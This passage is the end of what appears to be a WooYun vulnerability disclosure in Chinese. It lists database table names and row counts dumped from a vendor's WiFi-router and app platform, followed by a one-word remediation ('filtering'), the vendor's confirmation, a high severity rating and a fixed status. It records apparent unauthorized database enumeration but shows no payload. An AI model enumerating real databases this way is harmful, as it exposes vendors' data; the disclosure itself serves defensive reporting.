| wi_sms_alipay_log                        | 203     |
| wi_vem_account                           | 199     |
| wi_vem_goods                             | 199     |
| wi_app_like                              | 188     |
| wi_message_push_black                    | 183     |
| wi_ibeacon                               | 175     |
| wi_open_method                           | 166     |
| wi_meta_info                             | 146     |
| wi_invite_code                           | 140     |
| wi_admin_account_menu                    | 137     |
| wi_menu                                  | 132     |
| wi_cms_content                           | 131     |
| wi_stat_shop_by_biztype                  | 130     |
| act_ru_execution                         | 125     |
| act_ru_task                              | 125     |
| wi_probe_open_post_router                | 116     |
| wi_website_case                          | 111     |
| wi_admin_menu                            | 107     |
| wi_basis_stat                            | 96      |
| wi_template_module_resources             | 96      |
| wi_coupons_data                          | 94      |
| wi_customer                              | 90      |
| wi_support_del                           | 90      |
| wi_website_news                          | 83      |
| rpt_sys_account_detail_by_month          | 63      |
| wi_router_version                        | 63      |
| wi_router_relationship                   | 62      |
| wi_sms_alipay                            | 59      |
| wi_fuwu_conf                             | 54      |
| wi_phone_user_test                       | 54      |
| wi_reward_use                            | 54      |
| wi_question_answer                       | 52      |
| wi_delivery_order                        | 40      |
| wi_ad_task                               | 39      |
| wi_router_location                       | 37      |
| wi_ad_task_condition                     | 35      |
| wi_reward_rule                           | 35      |
| wi_app_version                           | 34      |
| wi_phone_user_prepub                     | 31      |
| rpt_agent_new_by_month                   | 28      |
| wi_app_device_auth                       | 28      |
| wi_returned_order                        | 27      |
| wi_task_server                           | 27      |
| wi_tag_values                            | 25      |
| wi_meta_rules                            | 22      |
| wi_template_modules                      | 21      |
| wi_warehouse_order                       | 20      |
| account_0428                             | 19      |
| rpt_sys_route_by_month                   | 19      |
| wi_router_type                           | 18      |
| rpt_sys_summary_by_month                 | 16      |
| wi_building_area                         | 12      |
| wi_component                             | 12      |
| wi_tag_properties                        | 12      |
| wi_fuwu_old_user                         | 9       |
| wi_router_factory                        | 9       |
| wi_sms_channel                           | 9       |
| wi_sms_channel_config                    | 9       |
| wi_server                                | 6       |
| wi_tag_groups                            | 6       |
| wi_app                                   | 5       |
| wi_app_message_push_rule                 | 5       |
| wi_product_model                         | 5       |
| wi_probe_open_third_info                 | 4       |
| wi_template_pages                        | 4       |
| act_ge_property                          | 3       |
| wi_app_patch                             | 3       |
| wi_app_test_device                       | 3       |
| wi_supplier                              | 3       |
| wi_returned_detail                       | 2       |
| wi_tryout_likes                          | 2       |
| act_re_deployment                        | 1       |
| act_re_procdef                           | 1       |
| wi_router_condition                      | 1       |
| wi_system_error_email                    | 1       |
| wi_templates                             | 1       |
| wi_tryout_report                         | 1       |
+------------------------------------------+---------+


跑了几条看下


1.png


2.png


3.png


4.png

修复方案：

过滤

版权声明：转载请注明来源 黑色键盘丶@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2016-05-16 09:06

厂商回复：

感谢您的漏洞提供，我们会尽快处理

最新状态：

2016-06-27：已修复，感谢您的发现

漏洞评价：

评价

  1. 2016-05-14 21:47 | Mazing ( 路人 | Rank:27 漏洞数:7 )

    防不胜防